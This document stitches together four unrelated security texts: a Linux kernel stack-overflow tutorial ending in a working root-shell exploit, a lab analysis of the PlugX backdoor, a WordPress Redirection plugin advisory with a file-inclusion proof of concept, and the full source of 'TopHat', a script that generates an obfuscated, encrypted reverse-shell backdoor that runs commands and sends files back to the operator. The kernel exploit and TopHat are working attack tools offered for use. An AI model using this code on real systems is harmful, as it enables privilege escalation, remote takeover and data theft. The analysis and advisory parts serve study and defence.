Principle of kernel stack overflow and the user mode stack overflow are the same, we can use it to hijack control flow and privilge Escalation in Ring 0. Bug Kernel stack overflow like in the user mode. We focus on the function bug2_write,memcpy unsafe function result in potential thread of buffer overflow. //stack_smashing.c #include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/proc_fs.h> int bug2_write(struct file *file,const char *buf,unsigned long len){ char localbuf[8]; memcpy(localbuf,buf,len); return len; } static int __init stack_smashing_init(void){ printk(KERN_ALERT"stack smashing driver init!\n"); create_proc_entry("bug2",0666,0)->write_proc = bug2_write; return 0; } static int __exit stack_smashing_exit(void){ printk(KERN_ALERT"stack smashing driver exit!\n"); } module_init(stack_smashing_init); module_exit(stack_smashing_exit); /* makefile obj-m := stack_smashing.o KERNELDR := /mnt/hgfs/Qemu/x86/linux-2.6.32 PWD := $(shell pwd) modules: $(MAKE) -C $(KERNELDR) M=$(PWD) modules modules_install: $(MAKE) -C $(KERNELDR) M=$(PWD) modules_install clean: $(MAKE) -C $(KERNELDR) M=$(PWD) clean */ We drag stack_smashing.ko in IDA for analyzing the stack-frame of bug2_write. bug2_write function stack frame as shown in the following figure: Array localbuf[] can be overwritten and we can control the return address to hijack control flow. Attention please ,at that time ,we are in Ring0 (kernel mode). That's a simplest example of kernel stack smashing. PoC #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> int main(){ char buf[24]={0}; memset(buf,0,sizeof(buf)); *((void**)(buf+20)) = 0x42424242; int fd=open("/proc/bug2",O_WRONLY); write(fd,buf,sizeof(buf)); return 0; } We run the poc in qemu,it's get the info below: /usr/example/stack_smashing # ./poc [ 26.112180] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: c882f04f [ 26.112180] [ 26.128511] Pid: 63, comm: poc Tainted: P 2.6.32 #2 [ 26.136817] Call Trace: [ 26.140917] [<c14571d5>] ? printk+0x1d/0x1f [ 26.147655] [<c1457117>] panic+0x47/0xe8 [ 26.154735] [<c10413ae>] __stack_chk_fail+0x1e/0x20 [ 26.159501] [<c882f04f>] ? bug2_write+0x4f/0x50 [stack_smashing] [ 26.170878] [<c882f04f>] bug2_write+0x4f/0x50 [stack_smashing] [ 26.179890] [<c11482d9>] proc_file_write+0x59/0x80 [ 26.190290] [<c1148280>] ? proc_file_write+0x0/0x80 [ 26.197294] [<c1143cd8>] ? proc_reg_write+0x58/0x90 [ 26.203064] [<c10fabff>] ? vfs_write+0x8f/0x190 [ 26.210005] [<c1143c80>] ? proc_reg_write+0x0/0x90 [ 26.216393] [<c10faf2d>] ? sys_write+0x3d/0x70 [ 26.225201] [<c1002d0b>] ? sysenter_do_call+0x12/0x22 Our kernel protect the stack with a “canary” value，it's the same as the "stack canary" in user mode，so when we execute our poc directly，canary be covered with 0x0000000 ,it cause kernel panic. Qemu crashed! So we need to compile a new kernel without the option of "Canary" by the operations. Vim at .config in the root of linux kernel, comment the line CONFIG_CC_STACKPROTECTOR=y,and type n(no) when make point out open the stack canary protection or not. Go on ，we re complile our module and poc in the new kernel and run poc again. /usr/example/stack_smashing # ./poc [ 28.484238] BUG: unable to handle kernel paging request at 42424242 [ 28.484238] IP: [<42424242>] 0x42424242 [ 28.484238] *pdpt = 0000000007884001 *pde = 0000000000000000 [ 28.484238] Oops: 0000 [#1] SMP [ 28.484238] last sysfs file: [ 28.484238] Modules linked in: stack_smashing(P) [ 28.484238] [ 28.484238] Pid: 64, comm: poc Tainted: P (2.6.32 #1) Bochs [ 28.484238] EIP: 0060:[<42424242>] EFLAGS: 00010246 CPU: 0 [ 28.484238] EIP is at 0x42424242 [ 28.484238] EAX: 00000018 EBX: c784f420 ECX: 00000000 EDX: bf876794 [ 28.484238] ESI: 00000000 EDI: 00000000 EBP: 00000000 ESP: c7897f2c [ 28.484238] DS: 007b ES: 007b FS: 00d8 GS: 0033 SS: 0068 [ 28.484238] Process poc (pid: 64, ti=c7896000 task=c78a9960 task.ti=c7896000) [ 28.484238] Stack: [ 28.484238] 00000000 00000018 bf876794 c784f420 c7882780 c1146f90 c7897f64 c1142b88 [ 28.484238] <0> c7897f98 00000018 bf876794 c7882780 00000018 bf876794 c7897f8c c10f9d8f [ 28.484238] <0> c7897f98 00000002 00000000 c1142b30 c7882780 c7882780 00000000 080496b0 [ 28.484238] Call Trace: [ 28.484238] [<c1146f90>] ? proc_file_write+0x0/0x80 [ 28.484238] [<c1142b88>] ? proc_reg_write+0x58/0x90 [ 28.484238] [<c10f9d8f>] ? vfs_write+0x8f/0x190 [ 28.484238] [<c1142b30>] ? proc_reg_write+0x0/0x90 [ 28.484238] [<c10fa0bd>] ? sys_write+0x3d/0x70 [ 28.484238] [<c1002ce4>] ? sysenter_do_call+0x12/0x22 [ 28.484238] Code: Bad EIP value. [ 28.484238] EIP: [<42424242>] 0x42424242 SS:ESP 0068:c7897f2c [ 28.484238] CR2: 0000000042424242 [ 28.619608] ---[ end trace 978b1135ce269998 ]--- Killed [ 28.484238] EIP: [<42424242>] 0x42424242 SS:ESP 0068:c7897f2c Kernel jumped to 0x42424242 which is the address we want to control, it proves that we can hijack control flow in kernel mode. Exploit Our aim is to get a root shell. For achieving our aim we should have two steps: commit_creds(prepare_kernel_cred(0)) for elevating privilege in kernel mode. system("/bin/sh") for getting shell in user mode So we can control return address to executecommit_creds(prepare_kernel_cred(0)) in bug2_write function kernel mode. But stack is trashed, so we can’t return normally. We could fix up the stack, but that’s boring. Instead, let’s jump directly to user mode. System call mechanism Normal function calls: Use instructions call and ret Hardware saves return address on the stack User → kernel calls: (ignoring some alternatives) Use instructions int and iret Hardware saves a “trap frame” on the stack Our program should iret from kernel mode . Ring0 -> Ring3 ,we first in kernel mode , use kernel stack ,when switch to running as a less-privileged user mode ,stack will switch to user stack. So we need to save our state information in the struct trap frame first when we go to kernel mode. trap frame Trap frame save on stack, we return to user mode, our user stat get from it. struct trap_frame { void* eip; // instruction pointer +0 uint32_t cs; // code segment +4 uint32_t eflags; // CPU flags +8 void* esp; // stack pointer +12 uint32_t ss; // stack segment +16 } __attribute__((packed)); We build a fake trap frame in our exploit, save all the stat information in it and change eip to execve("/bin/sh") address, when we return from kernel mode ,we will spawn a Root shell. Our exploit as below: #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/stat.h> #include <string.h> #include <stdint.h> struct trap_frame{ void *eip; uint32_t cs; uint32_t eflags; void *esp; uint32_t ss; }; struct trap_frame tf; void launch_shell(){ execl("/bin/sh","sh",NULL); } void prepare_tf(){ asm("pushl %cs;" "popl tf+4;" //set cs "pushfl;" "popl tf+8;" //set eflags; "pushl %esp;" "popl tf+12;" //set esp; "pushl %ss;" "popl tf+16;"); //set ss; tf.eip = &launch_shell; tf.esp -= 1024; } #define KERNCALL __attribute__((regparm(3))) void (*commit_creds)(void *) KERNCALL = (void*)0xc10682e0; void *(*prepare_kernel_cred)(void *) KERNCALL = (void *)0xc1068480; void payload(void){ commit_creds(prepare_kernel_cred(0)); asm("mov $tf,%esp;" "iret;" ); } int main(){ char buf[24]={0}; memset(buf,'A',20); *(void **)(buf+20) = &payload; prepare_tf(); int fd=open("/proc/bug2",O_WRONLY); write(fd,buf,sizeof(buf)); } In our exploit, Elevate privilege: as in user mode ,control return address to execute commit_creds(prepare_kernel_cred(0)) to have a ROOT, and then prepare for iret to set fake trap frame on right position. Get shell: we build a fake trap frame in use mode stack tf， and function prepare_tf() save the stat : CS,EFLAGS,ESP,SS to trap frame and change EIP=&launch_shell debug Ensure module .text address frist. cat /sys/module/stack_smashing/sections/.text 0xc882f000 Run qemu , add symbols file to gdb (only .text is enough) and then we can set breakpoint in stack_smashing.ko. gdb-peda$ add-symbol-file ../busybox-1.19.4/_install/usr/example/stack_smashing/stack_smashing.ko 0xc882f000 add symbol table from file "../busybox-1.19.4/_install/usr/example/stack_smashing/stack_smashing.ko" at .text_addr = 0xc882f000 gdb-peda$ b *bug2_write Breakpoint 1 at 0xc882f000: file /mnt/hgfs/Qemu/x86/busybox-1.19.4/_install/usr/example/stack_smashing/stack_smashing.c, line 6. gdb-peda$ target remote 127.0.0.1:1234 Warning: Got Ctrl+C / SIGINT! Python Exception <type 'exceptions.KeyboardInterrupt'> : Error while running hook_stop: Could not convert arguments to Python string. default_idle () at arch/x86/kernel/process.c:311 311 current_thread_info()->status |= TS_POLLING; gdb-peda$ c Warning: not running or target is remote Breakpoint 1, bug2_write (file=0xc693ba00, buf=0xbf9fcf84 'A' <repeats 20 times>, ">\217\004\b", len=0x18) at /mnt/hgfs/Qemu/x86/busybox-1.19.4/_install/usr/example/stack_smashing/stack_smashing.c:6 6 int bug2_write(struct file *file,const char *buf,unsigned long len){ gdb-peda$ x/20i $pc => 0xc882f000 <bug2_write>: push ebp 0xc882f001 <bug2_write+1>: mov ebp,esp 0xc882f003 <bug2_write+3>: sub esp,0x10 0xc882f006 <bug2_write+6>: mov DWORD PTR [ebp-0x8],esi 0xc882f009 <bug2_write+9>: mov DWORD PTR [ebp-0x4],edi 0xc882f00c <bug2_write+12>: nop DWORD PTR [eax+eax*1+0x0] 0xc882f011 <bug2_write+17>: mov eax,ecx 0xc882f013 <bug2_write+19>: mov esi,edx 0xc882f015 <bug2_write+21>: shr ecx,0x2 0xc882f018 <bug2_write+24>: lea edi,[ebp-0x10] 0xc882f01b <bug2_write+27>: rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi] 0xc882f01d <bug2_write+29>: mov ecx,eax 0xc882f01f <bug2_write+31>: and ecx,0x3 0xc882f022 <bug2_write+34>: je 0xc882f026 <bug2_write+38> 0xc882f024 <bug2_write+36>: rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi] 0xc882f026 <bug2_write+38>: mov esi,DWORD PTR [ebp-0x8] 0xc882f029 <bug2_write+41>: mov edi,DWORD PTR [ebp-0x4] 0xc882f02c <bug2_write+44>: mov esp,ebp 0xc882f02e <bug2_write+46>: pop ebp 0xc882f02f <bug2_write+47>: ret As below, buffer overflow to cover return address to payload() fcuntion. gdb-peda$ b *bug2_write+47 Breakpoint 2 at 0xc882f02f: file /mnt/hgfs/Qemu/x86/busybox-1.19.4/_install/usr/example/stack_smashing/stack_smashing.c, line 10. gdb-peda$ c Warning: not running or target is remote Breakpoint 2, 0xc882f02f in bug2_write (file=<optimized out>, buf=0xbf9fcf84 'A' <repeats 20 times>, ">\217\004\b", len=<optimized out>) at /mnt/hgfs/Qemu/x86/busybox-1.19.4/_install/usr/example/stack_smashing/stack_smashing.c:10 10 } gdb-peda$ x/10a $esp 0xc6949f28: 0x8048f3e 0x0 0x18 0xbf9fcf84 0xc6949f38: 0xc690e420 0xc693ba00 0xc1146f90 <proc_file_write> 0xc6949f64 0xc6949f48: 0xc1142b88 <proc_reg_write+88> 0xc6949f98 gdb-peda$ x/12i 0x8048f3e 0x8048f3e: push ebp 0x8048f3f: mov ebp,esp 0x8048f41: push ebx 0x8048f42: sub esp,0x4 0x8048f45: mov ebx,DWORD PTR ds:0x80ef068 0x8048f4b: mov edx,DWORD PTR ds:0x80ef06c 0x8048f51: mov eax,0x0 0x8048f56: call edx 0x8048f58: call ebx 0x8048f5a: mov esp,0x80f112c 0x8048f5f: iret Saved fake trap frame (The state of user proc exp) as below. EIP=0x80f112c CS=0xbf9f0073 EFLAGS=0x282 ESP=0xbf9fcb68 SS =0xbf9f007b gdb-peda$ x/10a 0x80f112c 0x80f112c: 0x8048ee0 0xbf9f0073 0x282 <__this_module+66> 0xbf9fcb68 0x80f113c: 0xbf9f007b 0x28 <stack_smashing_init+4> 0x40 <stack_smashing_init+28> 0x1 0x80f114c: 0x80f0100 0x0 When executed iret，eip=0x8048ee0 the address of lanuch_shell, corresponding register have been set. gdb-peda$ x/9i 0x8048ee0 0x8048ee0: push ebp 0x8048ee1: mov ebp,esp 0x8048ee3: sub esp,0x18 0x8048ee6: mov DWORD PTR [esp+0x8],0x0 0x8048eee: mov DWORD PTR [esp+0x4],0x0 0x8048ef6: mov DWORD PTR [esp],0x80c5488 0x8048efd: call 0x8053d00 0x8048f02: leave 0x8048f03: ret gdb-peda$ info registers eax 0x0 0x0 ecx 0xffffffff 0xffffffff edx 0x0 0x0 ebx 0xc10682e0 0xc10682e0 esp 0xbf9fcb68 0xbf9fcb68 ebp 0xc6949f28 0xc6949f28 esi 0x41414141 0x41414141 edi 0x41414141 0x41414141 eip 0x8048ee0 0x8048ee0 eflags 0x282 [ SF IF ] cs 0x73 0x73 ss 0x7b 0x7b ds 0x7b 0x7b es 0x7b 0x7b fs 0x0 0x0 gs 0x33 0x33 At the end, execute to get a Root shell. /usr/example/stack_smashing # insmod stack_smashing.ko [ 57.857589] stack_smashing: module license 'unspecified' taints kernel. [ 57.868753] Disabling lock debugging due to kernel taint [ 57.873241] stack smashing driver init! /usr/example/stack_smashing # su xingxing sh: can't access tty; job control turned off ~ $ id uid=1000(xingxing) gid=1000 groups=1000 /usr/example/stack_smashing $ ./exp sh: can't access tty; job control turned off /usr/example/stack_smashing # whoami whoami: unknown uid 0 /usr/example/stack_smashing # id uid=0 gid=0 Yes, we get ROOT. Mitigate Modern Linux kernels protect the stack with a “canary” value On function return, if canary was overwritten, kernel panics Just like in user mode. Prevents simple attacks, but there’s still a lot you can do. References Linux内核漏洞利用（二）NULL Pointer Dereference Linux 内核漏洞利用教程（二）：两个Demo mmap_min_addr write-kernel-exploits Source: http://tacxingxing.com

[The PlugX malware family has always intrigued me. I was curious to look at one variant. Going over the Internet and the research articles and blogs about it I came across the research made by Fabien Perigaud. From here I got an old PlugX builder. Then I set a lab that allowed me to get insight about how an attacker would operate a PlugX campaign. In this post, l will cover a brief overview about the PlugX builder, analyze and debug the malware installation and do a quick look at the C2 traffic. ~LR] PlugX is commonly used by different threat groups on targeted attacks. PlugX is also refered as KORPLUG, SOGU, DestroyRAT and is a modular backdoor that is designed to rely on the execution of signed and legitimated executables to load malicious code. PlugX, normally has three main components, a DLL, an encrypted binary file and a legitimate and signed executable that is used to load the malware using a technique known as DLL search order hijacking. But let’s start with a quick overview about the builder. The patched builder, MD5 6aad032a084de893b0e8184c17f0376a, is an English version, from Q3 2013, of the featured-rich and modular command & control interface for PlugX that allows an operator to: Build payloads, set campaigns and define the preferred method for the compromised hosts to check-in and communicate with the controller. Proxy connections and build a tiered C2 communication model. Define persistence mechanisms and its attributes. Set the process(s) to be injected with the payload. Define a schedule for the C2 call backs. Enable keylogging and screen capture. Manage compromises systems per campaign. Then for each compromised system, the operator has extensive capabilities to interact with the systems over the controller that includes the following modules: Disk module allows the operator to write, read, upload, download and execute files. Networking browser module allows the operator to browse network connections and connect to another system via SMB. Process module to enumerate, kill and list loaded modules per process. Services module allows the operator to enumerate, start, stop and changing booting properties Registry module allows the operator to browse the registry and create, delete or modify keys. Netstat module allows the operator to enumerate TCP and UDP network connections and the associated processes Capture module allows the operator to perform screen captures Control plugin allows the operator to view or remote control the compromised system in a similar way like VNC. Shell module allows the operator to get a command line shell on the compromised system. PortMap module allows the operator to establish port forwarding rules. SQL module allows the operator to connect to SQL servers and execute SQL statements. Option module allows the operator to shut down, reboot, lock, log-off or send message boxes. Keylogger module captures keystrokes per process including window titles. The picture below shows the Plug-X C2 interface. So, with this we used the builder functionality to define the different settings specifying C2 comms password, campaign, mutex, IP addresses, installation properties, injected binaries, schedule for call-back, etc. Then we build our payload. The PlugX binary produced by this version of the builder (LZ 2013-8-18) is a self-extracting RAR archive that contains three files. This is sometimes referred in the literature as the PlugX trinity payload. Executing the self-extracting RAR archive will drop the three files to the directory chosen during the process. In this case “%AUTO%/RasTls”. The files are: A legitimate signed executable from Kaspersky AV solution named “avp.exe”, MD5 e26d04cecd6c7c71cfbb3f335875bc31, which is susceptible to DLL search order hijacking . The file “avp.exe” when executed will load the second file: “ushata.dll”, MD5 728fe666b673c781f5a018490a7a412a, which in this case is a DLL crafted by the PlugX builder which on is turn will load the third file. The third file: “ushata.DLL.818”, MD5 “21078990300b4cdb6149dbd95dff146f” contains obfuscated and packed shellcode. So, let’s look at the mechanics of what happens when the self-extracting archive is executed. The three files are extracted to a temporary directory and “avp.exe” is executed. The “avp.exe” when executed will load “ushata.dll” from the running directory due to the DLL search order hijacking using Kernel32.LoadLibrary API. Then “ushata.dll” DLL entry point is executed. The DLL entry point contains code that verifies if the system date is equal or higher than 20130808. If yes it will get a handle to “ushata.DLL.818”, reads its contents into memory and changes the memory address segment permissions to RWX using Kernel32.VirtualProtect API. Finally, returns to the first instruction of the loaded file (shellcode). The file “ushata.DLL.818” contains obfuscated shellcode. The picture below shows the beginning of the obfuscated shellcode. The shellcode unpacks itself using a custom algorithm. This shellcode contains position independent code. Figure below shows the unpacked shellcode. The shellcode starts by locating the kernel32.dll address by accessing the Thread Information Block (TIB) that contains a pointer to the Process Environment Block (PEB) structure. Figure below shows a snippet of the shellcode that contains the different sequence of assembly instructions for the code to find the Kernel32.dll. It then reads kernel32.dll export table to locate the desired Windows API’s by comparing them with stacked strings. Then, the shellcode decompresses a DLL (offset 0x784) MD5 333e2767c8e575fbbb1c47147b9f9643, into memory using the LZNT1 algorithm by leveraging ntdll.dll.RtlDecompressBuffer API. The DLL contains the PE header replaced with the “XV” value. Restoring the PE header signature allows us to recover the malicious DLL. Next, the payload will start performing different actions to achieve persistence. On Windows 7 and beyond, PlugX creates a folder “%ProgramData%\RasTl” where “RasTl” matches the installation settings defined in the builder. Then, it changes the folder attributes to “SYSTEM|HIDDEN” using the SetFileAttributesW API. Next, copies its three components into the folder and sets all files with the “SYSTEM|HIDDEN” attribute. The payload also modifies the timestamps of the created directory and files with the timestamps obtained from ntdll.dll using the SetFileTime API. Then it creates the service “RasTl” where the ImagePath points to “%ProgramData%\RasTl\avp.exe” If the builder options had the Keylogger functionality enabled, then it may create a file with a random name such as “%ProgramData%\RasTl\rjowfhxnzmdknsixtx” that stores the key strokes. If the payload has been built with Screen capture functionality, it may create the folder “%ProgramData%\RasTl \RasTl\Screen” to store JPG images in the format <datetime>.jpg that are taken at the frequency specified during the build process. The payload may also create the file “%ProgramData%\DEBUG.LOG” that contains debugging information about its execution (also interesting that during execution the malware outputs debug messages about what is happening using the OutputDebugString API. This messages could be viewed with DebugView from SysInternals). The malicious code completes its mission by starting a new instance of “svchost.exe” and then injects the malicious code into svchost.exe process address space using process hollowing technique. The pictures below shows the first step of the process hollowing technique where the payload creates a new “svchost.exe” instance in SUSPENDED state. and then uses WriteProcessMemory API to inject the malicious payload Then the main thread, which is still in suspended state, is changed in order to point to the entry point of the new image base using the SetThreadContext API. Finally, the ResumeThread API is invoked and the malicious code starts executing. The malware also has the capabilities to bypass User Account Control (UAC) if needed. From this moment onward, the control is passed over “svchost.exe” and Plug-X starts doing its thing. In this case we have the builder so we know the settings which were defined during building process. However, we would like to understand how could we extract the configuration settings. During Black Hat 2014, Takahiro Haruyama and Hiroshi Suzuki gave a presentation titled “I know You Want Me – Unplugging PlugX” where the authors go to great length analyzing a variety of PlugX samples, its evolution and categorizing them into threat groups. But better is that the Takahiro released a set of PlugX parsers for the different types of PlugX samples i.e, Type I, Type II and Type III. How can we use this parser? The one we are dealing in this article is considered a PlugX type II. To dump the configuration, we need to use Immunity Debugger and use the Python API. We need to place the “plugx_dumper.py” file into the “PyCommands” folder inside Immunity Debugger installation path. Then attached the debugger to the infected process e.g, “svchost.exe” and run the plugin. The plugin will dump the configuration settings and will also extract the decompressed DLL We can see that this parser is able to find the injected shellcode, decode its configuration and all the settings an attacker would set on the builder and also dump the injected DLL which contains the core functionality of the malware. In terms of networking, as observed in the PlugX controller, the malware can be configured to speak with a controller using several network protocols. In this case we configured it to speak using HTTP on port 80. The network traffic contains a 16-byte header followed by a payload. The header is encoded with a custom routine and the payload is encoded and compressed with LZNT1. Far from a comprehensive analysis we launched a Shell prompt from the controller, typed command “ipconfig” and observed the network traffic. In parallel, we attached a debugger to “svchost.exe” and set breakpoints: on Ws2_32.dll!WSASend and Ws2_32.dll!WSARecv to capture the packets ; on ntdll.dll!RtlCompressBuffer and ntdll.dll!RtlDecompressBuffer to view the data before and after compression. ; On custom encoding routine to view the data before and after. The figure below shows a disassemble listing of the custom encoding routine. So, from a debugger view, with the right breakpoints we could start to observe what is happening. In the picture below, on the left-hand side it shows the packet before encoding and compression. It contains a 16-byte header, where the first 4-bytes are the key for the custom encoding routine. The next 4-bytes are the flags which contain the commands/plugins being used. Then the next 4-bytes is the size. After the header there is the payload which in this case contains is output of the ipconfig.exe command. On the right-hand side, we have the packet after encoding and compressing. It contains the 16-byte header encoded following by the payload encoded and compressed. Then, the malware uses WSASend API to send the traffic. Capturing the traffic, we can observe the same data. On the controller side, when the packet arrives, the header will be decoded and then the payload will be decoded and decompressed. Finally, the output is showed to the operator. Now that we started to understand how C2 traffic is handled, we can capture it and decode it. Kyle Creyts has created a PlugX decoder that supports PCAP’s. The decoder supports decryption of PlugX Type I.But Fabien Perigaud reversed the Type II algorithm and implemented it in python. If we combine Kyle’s work with the work from Takahiro Haruyama and Fabien Perigaud we could create a PCAP parser to extract PlugX Type II and Type III. Below illustrates a proof-of-concept for this exercise against 1 packet. We captured the traffic and then used a small python script to decrypt a packet. No dependencies on Windows because it uses the herrcore’s standalone LZNT1 implementation that is based on the one from the ChopShop protocol analysis and decoder framework by MITRE. That’s it for today! We build a lab with a PlugX controller, got a view on its capabilities. Then we looked at the malware installation and debugged it in order to find and interpret some of its mechanics such as DLL search order hijacking, obfuscated shellcode, persistence mechanism and process hollowing. Then, we used a readily available parser to dump its configuration from memory. Finally, we briefly looked the way the malware communicates with the C2 and created a small script to decode the traffic. Now, with such environment ready, in a controlled and isolated lab, we can further simulate different tools and techniques and observe how an attacker would operate compromised systems. Then we can learn, practice at our own pace and look behind the scenes to better understand attack methods and ideally find and implement countermeasures. References: Analysis of a PlugX malware variant used for targeted attacks by CRCL.lu Operation Cloud Hopper by PWC PlugX Payload Extraction by Kevin O’Reilly Other than the authors and articles cited troughout the article, a fantastic compilation about PlugX articles and papers since 2011 is available here. Credits: Thanks to Michael Bailey who showed me new techniques on how to deal with shellcode which I will likely cover on a post soon. Source: countuponsecurity.com

WordPress Redirection plugin version 2.7.3 suffers from a remote file inclusion vulnerability. Details ================ Software: Redirection Version: 2.7.3 Homepage: https://wordpress.org/plugins/redirection/ Advisory report: https://advisories.dxw.com/advisories/ace-file-inclusion-redirection/ CVE: Awaiting assignment CVSS: 9 (High; AV:N/AC:L/Au:S/C:C/I:C/A:C) Description ================ ACE via file inclusion in Redirection allows admins to execute any PHP file in the filesystem Vulnerability ================ If you are logged in as an administrator on any site by using the setup page for the redirection plugin you can run arbitrary code and completely compromise the system. This is done by writing the URL to redirect to in the format file://path/to/file/here. Unfortunately the plugin executes any PHP within that file. This means that any file with any extension on the filesystem that contains a small amount of user controlled data can be turned into a back door. The plugin also has the functionality to create files and place user controlled data in them. This results in attacker controlled code running and complete compromise of the system. When the code for handling a redirect looks at the URL to redirect to it does the following: class Pass_Action extends Red_Action { function process_before( $code, $target ) { // Determine what we are passing to: local URL, remote URL, file if ( substr( $target, 0, 7 ) === \'http://\' || substr( $target, 0, 8 ) === \'https://\' ) { echo @wp_remote_fopen( $target ); die(); } else if ( substr( $target, 0, 7 ) === \'file://\' ) { $parts = explode( \'?\', substr( $target, 7 ) ); if ( count( $parts ) > 1 ) { // Put parameters into the environment $args = explode( \'&\', $parts[1] ); if ( count( $args ) > 0 ) { foreach ( $args as $arg ) { $tmp = explode( \'=\', $arg ); if ( count( $tmp ) === 1 ) $_GET[ $arg ] = \'\'; else $_GET[ $tmp[0] ] = $tmp[1]; } } } include( $parts[0] ); exit(); } else { $_SERVER[\'REQUEST_URI\'] = $target; if ( strpos( $target, \'?\' ) ) { $_SERVER[\'QUERY_STRING\'] = substr( $target, strpos( $target, \'?\' ) + 1 ); parse_str( $_SERVER[\'QUERY_STRING\'], $_GET ); } } return true; } } The above code behaves as expected if the url to redirect to is a HTTP or HTTPS URL. If the URL begins with file:// it passes the path to the include function. Its also worth mentioning that if the URL is not http, https or file, then the code allows the $_GET parameter to be contaminated with unescaped values, which may result in SQL injections. Proof of concept ================ echo a<?php phpinfo();a > dog-meme.jpg Visit /wp-admin/media-new.php Upload dog-meme.jpg Copy the URL of the file (i.e. http://localhost/wp-content/uploads/2017/10/dog-meme.jpg) Visit /wp-admin/tools.php?page=redirection.php Fill aSource URLa with a/testa Fill aTarget URLa with afile:///var/www/html/wp-content/uploads/2017/10/dog-meme.jpga (this will probably require some modification if your WP installation is at a different path or dog-meme.jpg is saved in a different directory) Set aGroupa to aRedirectionsa Press aAdd Redirecta Press aEdita on the newly added redirect Press the cog icon Set aWhen matcheda to aPass-througha Press aSavea Mitigations ================ Upgrade to version 2.8 or later. Disclosure policy ================ dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://advisories.dxw.com/disclosure/ Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf. This vulnerability will be published if we do not receive a response to this report with 14 days. Timeline ================ 2017-10-02: Discovered 2017-10-03: Reported via website contact form 2017-10-04: Response received. Plugin author reports this as intended behaviour, as it is assumed that the administrator has full access to the system. However, also future version will include a fix. 2017-10-18: Author reported fixed in 2.8 2018-06-12: Advisory published Discovered by dxw: ================ Glyn Wintle Please visit advisories.dxw.com for more information. Source

_____ _ _ _ |_ _|__ _ __ | | | | __ _| |_ | |/ _ \| '_ \| |_| |/ _` | __| | | (_) | |_) | _ | (_| | |_ |_|\___/| .__/|_| |_|\__,_|\__| |_| Description: TopHat is a inspired by metasploits capabilties of meterpreter however i have coded a script to generate a - undetected encrypted backdoor using python. Usage: ./TopHat <lhost> <lport> Download TopHat.py Mirror: #!/usr/bin/python # -*- coding: utf-8 -*- import socket import os import sys import time import base64 from Crypto.PublicKey import RSA from Crypto.PublicKey import RSA from subprocess import check_output if len(sys.argv) == 3: addresser = sys.argv[1] porterica = sys.argv[2] else: print """ _____ _ _ _ |_ _|__ _ __ | | | | __ _| |_ | |/ _ \| '_ \| |_| |/ _` | __| | | (_) | |_) | _ | (_| | |_ |_|\___/| .__/|_| |_|\__,_|\__| |_| Description: TopHat is a inspired by metasploits capabilties of meterpreter however i have coded a script to generate a - undetected encrypted backdoor using python. Usage: ./TopHat <lhost> <lport> """ sys.exit() print "[*] Generating SSL Certificates" time.sleep(3) #Generate new key that's 4096 bits long new_key = RSA.generate(4096) #Export the key in PEM format public_key = new_key.publickey().exportKey("PEM") private_key = new_key.exportKey("PEM") backdoor_code_ot = """ import socket import subprocess import os from Crypto.PublicKey import RSA def encrypt(message): publickey = '''""" + public_key + """''' encryptor = RSA.importKey(publickey) encryptedData = encryptor.encrypt(message, 0) return encryptedData[0] def decrypt(cipher): privatekey = '''""" + private_key + """''' decryptor = RSA.importKey(privatekey) return decryptor.decrypt(cipher) def transfer(s,path): if os.path.exists(str(path)): f = open(path, 'rb') packet = f.read(1024) while packet != '': s.send(packet) packet = f.read(1024) s.send('DONE') f.close() else: s.send('File not found') def connect(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('""" + addresser + """',""" + porterica + """)) while True: command = decrypt(s.recv(1024)) if 'exit' in command: s.close() break if 'grab' in command: grab, path = command.split('*') try: transfer(s, path) except Exception, e: s.send(str(e)) pass else: CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) result = CMD.stdout.read() if len(result) > 512: for i in range(0, len(result), 512): chunk = result[0+i:512+i] s.send(encrypt(chunk)) else: s.send(encrypt(result)) #s.send(encrypt(CMD.stderr.read())) def main(): connect() if __name__ == '__main__': main() """ backerraka = base64.b64encode(backdoor_code_ot) backdoor_code = "import base64, sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('" + backerraka + "')))" def encrypt(message): publickey = public_key encryptor = RSA.importKey(publickey) encryptedData = encryptor.encrypt(message, 0) return encryptedData[0] def decrypt(cipher): privatekey = private_key decryptor = RSA.importKey(privatekey) return decryptor.decrypt(cipher) def transfer(conn, command): conn.send(command) f = open('/root/Desktop/somefile', 'wb') while True: bits = conn.recv(1024) if 'File not found' in bits: print '[-] File not found' break if bits.endswith('DONE'): print '[-] File transfer complete' f.close() break f.write(bits) f.close() def connect(): print "[*] Creating Backdoor..." liag = open("backdoor.py","w") liag.write(backdoor_code) liag.close() print "[*] Started reverse handler on %s:%s" % (addresser,porterica) print "[*] Starting the payload handler..." s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((addresser,int(porterica))) s.listen(1) conn, addr = s.accept() print '[*] TopHat session 1 opened %s:%s -> %s\n' % (addresser,porterica,addr) while True: store = '' command = raw_input("tophat > ") command = encrypt(command) if 'exit' in command: #Send terminate signal to the client conn.send('exit') #Close the connection to the client on the server end conn.close() sys.exit() if 'grab' in command: transfer(conn, command) else: conn.send(command) result = conn.recv(1024) if len(decrypt(result)) == 512: store = store + decrypt(result) result = conn.recv(512) store = store + decrypt(result) else: print decrypt(result) def main(): connect() if __name__ == '__main__': main() Source: pastebin.com

